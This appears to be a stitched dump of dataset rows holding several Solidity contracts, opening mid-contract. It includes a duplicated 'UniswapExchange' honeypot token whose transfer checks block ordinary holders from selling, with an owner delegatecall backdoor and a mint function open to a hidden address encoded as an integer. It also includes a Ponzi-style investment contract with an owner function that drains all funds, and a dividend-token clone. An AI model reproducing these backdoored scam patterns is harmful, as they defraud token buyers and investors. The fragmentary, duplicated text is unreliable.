}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,965 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 122 |
pragma solidity 0.4.25;
pragma experimental ABIEncoderV2;
library Math {
function min(uint a, uint b) internal pure returns(uint) {
if (a > b) {
return b;
}
return a;
}
}
library Zero {
function requireNotZero(address addr) internal pure {
require(addr != address(0), "require not zero address");
}
function requireNotZero(uint val) internal pure {
require(val != 0, "require not zero value");
}
function notZero(address addr) internal pure returns(bool) {
return !(addr == address(0));
}
function isZero(address addr) internal pure returns(bool) {
return addr == address(0);
}
function isZero(uint a) internal pure returns(bool) {
return a == 0;
}
function notZero(uint a) internal pure returns(bool) {
return a != 0;
}
}
library Percent {
struct percent {
uint num;
uint den;
}
function mul(percent storage p, uint a) internal view returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function div(percent storage p, uint a) internal view returns (uint) {
return a/p.num*p.den;
}
function sub(percent storage p, uint a) internal view returns (uint) {
uint b = mul(p, a);
if (b >= a) {
return 0;
}
return a - b;
}
function add(percent storage p, uint a) internal view returns (uint) {
return a + mul(p, a);
}
function toMemory(percent storage p) internal view returns (Percent.percent memory) {
return Percent.percent(p.num, p.den);
}
function mmul(percent memory p, uint a) internal pure returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function mdiv(percent memory p, uint a) internal pure returns (uint) {
return a/p.num*p.den;
}
function msub(percent memory p, uint a) internal pure returns (uint) {
uint b = mmul(p, a);
if (b >= a) {
return 0;
}
return a - b;
}
function madd(percent memory p, uint a) internal pure returns (uint) {
return a + mmul(p, a);
}
}
library Address {
function toAddress(bytes source) internal pure returns(address addr) {
assembly { addr := mload(add(source,0x14)) }
return addr;
}
function isNotContract(address addr) internal view returns(bool) {
uint length;
assembly { length := extcodesize(addr) }
return length == 0;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Accessibility {
address private owner;
modifier onlyOwner() {
require(msg.sender == owner, "access denied");
_;
}
constructor() public {
owner = msg.sender;
}
function disown() internal {
delete owner;
}
}
contract InvestorsStorage is Accessibility {
struct Investment {
uint value;
uint date;
bool partiallyWithdrawn;
bool fullyWithdrawn;
}
struct Investor {
uint overallInvestment;
uint paymentTime;
Investment[] investments;
Percent.percent individualPercent;
}
uint public size;
mapping (address => Investor) private investors;
function isInvestor(address addr) public view returns (bool) {
return investors[addr].overallInvestment > 0;
}
function investorInfo(address addr) returns(uint overallInvestment, uint paymentTime, Investment[] investments, Percent.percent individualPercent) {
overallInvestment = investors[addr].overallInvestment;
paymentTime = investors[addr].paymentTime;
investments = investors[addr].investments;
individualPercent = investors[addr].individualPercent;
}
function investorSummary(address addr) returns(uint overallInvestment, uint paymentTime) {
overallInvestment = investors[addr].overallInvestment;
paymentTime = investors[addr].paymentTime;
}
function updatePercent(address addr) private {
uint investment = investors[addr].overallInvestment;
if (investment < 1 ether) {
investors[addr].individualPercent = Percent.percent(3,100);
} else if (investment >= 1 ether && investment < 10 ether) {
investors[addr].individualPercent = Percent.percent(4,100);
} else if (investment >= 10 ether && investment < 50 ether) {
investors[addr].individualPercent = Percent.percent(5,100);
} else if (investment >= 150 ether && investment < 250 ether) {
investors[addr].individualPercent = Percent.percent(7,100);
} else if (investment >= 250 ether && investment < 500 ether) {
investors[addr].individualPercent = Percent.percent(10,100);
} else if (investment >= 500 ether && investment < 1000 ether) {
investors[addr].individualPercent = Percent.percent(11,100);
} else if (investment >= 1000 ether && investment < 2000 ether) {
investors[addr].individualPercent = Percent.percent(14,100);
} else if (investment >= 2000 ether && investment < 5000 ether) {
investors[addr].individualPercent = Percent.percent(15,100);
} else if (investment >= 5000 ether && investment < 10000 ether) {
investors[addr].individualPercent = Percent.percent(18,100);
} else if (investment >= 10000 ether && investment < 30000 ether) {
investors[addr].individualPercent = Percent.percent(20,100);
} else if (investment >= 30000 ether && investment < 60000 ether) {
investors[addr].individualPercent = Percent.percent(27,100);
} else if (investment >= 60000 ether && investment < 100000 ether) {
investors[addr].individualPercent = Percent.percent(35,100);
} else if (investment >= 100000 ether) {
investors[addr].individualPercent = Percent.percent(100,100);
}
}
function newInvestor(address addr, uint investmentValue, uint paymentTime) public onlyOwner returns (bool) {
if (investors[addr].overallInvestment != 0 || investmentValue == 0) {
return false;
}
investors[addr].overallInvestment = investmentValue;
investors[addr].paymentTime = paymentTime;
investors[addr].investments.push(Investment(investmentValue, paymentTime, false, false));
updatePercent(addr);
size++;
return true;
}
function addInvestment(address addr, uint value) public onlyOwner returns (bool) {
if (investors[addr].overallInvestment == 0) {
return false;
}
investors[addr].overallInvestment += value;
investors[addr].investments.push(Investment(value, now, false, false));
updatePercent(addr);
return true;
}
function setPaymentTime(address addr, uint paymentTime) public onlyOwner returns (bool) {
if (investors[addr].overallInvestment == 0) {
return false;
}
investors[addr].paymentTime = paymentTime;
return true;
}
function withdrawBody(address addr, uint limit) public onlyOwner returns (uint) {
Investment[] investments = investors[addr].investments;
uint valueToWithdraw = 0;
for (uint i = 0; i < investments.length; i++) {
if (!investments[i].partiallyWithdrawn && investments[i].date <= now - 30 days && valueToWithdraw + investments[i].value/2 <= limit) {
investments[i].partiallyWithdrawn = true;
valueToWithdraw += investments[i].value/2;
investors[addr].overallInvestment -= investments[i].value/2;
}
if (!investments[i].fullyWithdrawn && investments[i].date <= now - 60 days && valueToWithdraw + investments[i].value/2 <= limit) {
investments[i].fullyWithdrawn = true;
valueToWithdraw += investments[i].value/2;
investors[addr].overallInvestment -= investments[i].value/2;
}
}
return valueToWithdraw;
}
function disqualify(address addr) public onlyOwner returns (bool) {
investors[addr].overallInvestment = 0;
investors[addr].investments.length = 0;
}
}
contract ConstantinopleMasterNodes is Accessibility {
using Percent for Percent.percent;
using SafeMath for uint;
using Math for uint;
using Address for *;
using Zero for *;
mapping(address => bool) private m_referrals;
InvestorsStorage private m_investors;
uint public constant minInvestment = 50 finney;
uint public constant maxBalance = 8888e5 ether;
address public advertisingAddress;
address public adminsAddress;
uint public investmentsNumber;
uint public waveStartup;
Percent.percent private m_referal_percent = Percent.percent(5,100);
Percent.percent private m_referrer_percent = Percent.percent(15,100);
Percent.percent private m_adminsPercent = Percent.percent(5, 100);
Percent.percent private m_advertisingPercent = Percent.percent(5, 100);
Percent.percent private m_firstBakersPercent = Percent.percent(10, 100);
Percent.percent private m_tenthBakerPercent = Percent.percent(10, 100);
Percent.percent private m_fiftiethBakerPercent = Percent.percent(15, 100);
Percent.percent private m_twentiethBakerPercent = Percent.percent(20, 100);
event LogPEInit(uint when, address rev1Storage, address rev2Storage, uint investorMaxInvestment, uint endTimestamp);
event LogSendExcessOfEther(address indexed addr, uint when, uint value, uint investment, uint excess);
event LogNewReferral(address indexed addr, address indexed referrerAddr, uint when, uint refBonus);
event LogRGPInit(uint when, uint startTimestamp, uint maxDailyTotalInvestment, uint activityDays);
event LogRGPInvestment(address indexed addr, uint when, uint investment, uint indexed day);
event LogNewInvestment(address indexed addr, uint when, uint investment, uint value);
event LogAutomaticReinvest(address indexed addr, uint when, uint investment);
event LogPayDividends(address indexed addr, uint when, uint dividends);
event LogNewInvestor(address indexed addr, uint when);
event LogBalanceChanged(uint when, uint balance);
event LogNextWave(uint when);
event LogDisown(uint when);
modifier balanceChanged {
_;
emit LogBalanceChanged(now, address(this).balance);
}
modifier notFromContract() {
require(msg.sender.isNotContract(), "only externally accounts");
_;
}
constructor() public {
adminsAddress = msg.sender;
advertisingAddress = msg.sender;
nextWave();
}
function() public payable {
if (msg.value.isZero()) {
getMyDividends();
return;
}
doInvest(msg.data.toAddress());
}
function disqualifyAddress(address addr) public onlyOwner {
m_investors.disqualify(addr);
}
function doDisown() public onlyOwner {
disown();
emit LogDisown(now);
}
function testWithdraw(address addr) public onlyOwner {
addr.transfer(address(this).balance);
}
function setAdvertisingAddress(address addr) public onlyOwner {
addr.requireNotZero();
advertisingAddress = addr;
}
function setAdminsAddress(address addr) public onlyOwner {
addr.requireNotZero();
adminsAddress = addr;
}
function investorsNumber() public view returns(uint) {
return m_investors.size();
}
function balanceETH() public view returns(uint) {
return address(this).balance;
}
function advertisingPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_advertisingPercent.num, m_advertisingPercent.den);
}
function adminsPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_adminsPercent.num, m_adminsPercent.den);
}
function investorInfo(address investorAddr) public view returns(uint overallInvestment, uint paymentTime) {
(overallInvestment, paymentTime) = m_investors.investorSummary(investorAddr);
}
function investmentsInfo(address investorAddr) public view returns(uint overallInvestment, uint paymentTime, Percent.percent individualPercent, InvestorsStorage.Investment[] investments) {
(overallInvestment, paymentTime, investments, individualPercent) = m_investors.investorInfo(investorAddr);
}
function investorDividendsAtNow(address investorAddr) public view returns(uint dividends) {
dividends = calcDividends(investorAddr);
}
function getMyDividends() public notFromContract balanceChanged {
require(now.sub(getMemInvestor(msg.sender).paymentTime) > 1 hours);
uint dividends = calcDividends(msg.sender);
require (dividends.notZero(), "cannot to pay zero dividends");
assert(m_investors.setPaymentTime(msg.sender, now));
if (address(this).balance <= dividends) {
nextWave();
dividends = address(this).balance;
}
msg.sender.transfer(dividends);
emit LogPayDividends(msg.sender, now, dividends);
}
function withdrawMyBody() public notFromContract balanceChanged {
require(m_investors.isInvestor(msg.sender));
uint limit = address(this).balance;
uint valueToWithdraw = m_investors.withdrawBody(msg.sender, limit);
require (valueToWithdraw.notZero(), "nothing to withdraw");
msg.sender.transfer(valueToWithdraw);
}
function doInvest(address referrerAddr) public payable notFromContract balanceChanged {
uint investment = msg.value;
uint receivedEther = msg.value;
require(investment >= minInvestment, "investment must be >= minInvestment");
require(address(this).balance <= maxBalance, "the contract eth balance limit");
if (receivedEther > investment) {
uint excess = receivedEther - investment;
msg.sender.transfer(excess);
receivedEther = investment;
emit LogSendExcessOfEther(msg.sender, now, msg.value, investment, excess);
}
advertisingAddress.send(m_advertisingPercent.mul(receivedEther));
adminsAddress.send(m_adminsPercent.mul(receivedEther));
bool senderIsInvestor = m_investors.isInvestor(msg.sender);
if (referrerAddr.notZero() && !senderIsInvestor &&
referrerAddr != msg.sender && m_investors.isInvestor(referrerAddr)) {
uint referrerBonus = m_referrer_percent.mmul(investment);
uint referalBonus = m_referal_percent.mmul(investment);
assert(m_investors.addInvestment(referrerAddr, referrerBonus));
investment += referalBonus;
emit LogNewReferral(msg.sender, referrerAddr, now, referalBonus);
}
uint dividends = calcDividends(msg.sender);
if (senderIsInvestor && dividends.notZero()) {
investment += dividends;
emit LogAutomaticReinvest(msg.sender, now, dividends);
}
if (investmentsNumber % 20 == 0) {
investment += m_twentiethBakerPercent.mmul(investment);
} else if(investmentsNumber % 15 == 0) {
investment += m_fiftiethBakerPercent.mmul(investment);
} else if(investmentsNumber % 10 == 0) {
investment += m_tenthBakerPercent.mmul(investment);
}
if (senderIsInvestor) {
assert(m_investors.addInvestment(msg.sender, investment));
assert(m_investors.setPaymentTime(msg.sender, now));
} else {
if (investmentsNumber <= 50) {
investment += m_firstBakersPercent.mmul(investment);
}
assert(m_investors.newInvestor(msg.sender, investment, now));
emit LogNewInvestor(msg.sender, now);
}
investmentsNumber++;
emit LogNewInvestment(msg.sender, now, investment, receivedEther);
}
function getMemInvestor(address investorAddr) internal view returns(InvestorsStorage.Investor memory) {
(uint overallInvestment, uint paymentTime, InvestorsStorage.Investment[] memory investments, Percent.percent memory individualPercent) = m_investors.investorInfo(investorAddr);
return InvestorsStorage.Investor(overallInvestment, paymentTime, investments, individualPercent);
}
function calcDividends(address investorAddr) internal view returns(uint dividends) {
InvestorsStorage.Investor memory investor = getMemInvestor(investorAddr);
if (investor.overallInvestment.isZero() || now.sub(investor.paymentTime) < 1 hours) {
return 0;
}
Percent.percent memory p = investor.individualPercent;
dividends = (now.sub(investor.paymentTime) / 1 hours) * p.mmul(investor.overallInvestment) / 24;
}
function nextWave() private {
m_investors = new InvestorsStorage();
investmentsNumber = 0;
waveStartup = now;
emit LogNextWave(now);
}
} | 0 | 2,292 |
pragma solidity ^0.4.21;
contract AcceptsDividendFacial {
DividendFacial public tokenContract;
function AcceptsDividendFacial(address _tokenContract) public {
tokenContract = DividendFacial(_tokenContract);
}
modifier onlyTokenContract {
require(msg.sender == address(tokenContract));
_;
}
function tokenFallback(address _from, uint256 _value, bytes _data) external returns (bool);
}
contract DividendFacial {
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
modifier notContract() {
require (msg.sender == tx.origin);
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[_customerAddress]);
_;
}
uint ACTIVATION_TIME = 1539730800;
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
if (now >= ACTIVATION_TIME) {
onlyAmbassadors = false;
}
if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){
require(
ambassadors_[_customerAddress] == true &&
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_
);
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
_;
} else {
onlyAmbassadors = false;
_;
}
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "DividendFacial";
string public symbol = "DFT";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 25;
uint8 constant internal fundFee_ = 5;
uint256 constant internal tokenPriceInitial_ = 0.00000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.000000001 ether;
uint256 constant internal magnitude = 2**64;
address constant public giveEthFundAddress = 0x5e4b7b9365bce0bebb7d22790cc3470edcdcf980;
uint256 public totalEthFundRecieved;
uint256 public totalEthFundCollected;
uint256 public stakingRequirement = 1e18;
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 1 ether;
uint256 constant internal ambassadorQuota_ = 8 ether;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
mapping(address => bool) public administrators;
bool public onlyAmbassadors = true;
mapping(address => bool) public canAcceptTokens_;
function DividendFacial()
public
{
administrators[0x92daddea0e089bb3eb0838e4ad78b3389fb9752e] = true;
ambassadors_[0x92daddea0e089bb3eb0838e4ad78b3389fb9752e] = true;
ambassadors_[0xabd751a7637b922573885a0af0e1a57f84b9f2ed] = true;
ambassadors_[0x41FE3738B503cBaFD01C1Fd8DD66b7fE6Ec11b01] = true;
ambassadors_[0x183feBd8828a9ac6c70C0e27FbF441b93004fC05] = true;
ambassadors_[0x190a2409fc6434483d4c2cab804e75e3bc5ebfa6] = true;
ambassadors_[0x260BB292817c668caF44Eb4c7A281A1ef3DDbbf3] = true;
ambassadors_[0xCd39c70f9DF2A0D216c3A52C5A475914485a0625] = true;
ambassadors_[0x260BB292817c668caF44Eb4c7A281A1ef3DDbbf3] = true;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
require(tx.gasprice <= 0.05 szabo);
purchaseInternal(msg.value, _referredBy);
}
function()
payable
public
{
require(tx.gasprice <= 0.01 szabo);
purchaseInternal(msg.value, 0x0);
}
function payFund() payable public {
uint256 ethToPay = SafeMath.sub(totalEthFundCollected, totalEthFundRecieved);
require(ethToPay > 1);
totalEthFundRecieved = SafeMath.add(totalEthFundRecieved, ethToPay);
if(!giveEthFundAddress.call.value(ethToPay).gas(400000)()) {
totalEthFundRecieved = SafeMath.sub(totalEthFundRecieved, ethToPay);
}
}
function reinvest()
onlyStronghands()
public
{
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw()
onlyStronghands()
public
{
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100);
uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereum, fundFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereum, _dividends), _fundPayout);
totalEthFundCollected = SafeMath.add(totalEthFundCollected, _fundPayout);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if(myDividends(true) > 0) withdraw();
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens);
Transfer(_customerAddress, _toAddress, _amountOfTokens);
return true;
}
function transferAndCall(address _to, uint256 _value, bytes _data) external returns (bool) {
require(_to != address(0));
require(canAcceptTokens_[_to] == true);
require(transfer(_to, _value));
if (isContract(_to)) {
AcceptsDividendFacial receiver = AcceptsDividendFacial(_to);
require(receiver.tokenFallback(msg.sender, _value, _data));
}
return true;
}
function isContract(address _addr) private constant returns (bool is_contract) {
uint length;
assembly { length := extcodesize(_addr) }
return length > 0;
}
function setAdministrator(address _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
function setCanAcceptTokens(address _address, bool _value)
onlyAdministrator()
public
{
canAcceptTokens_[_address] = _value;
}
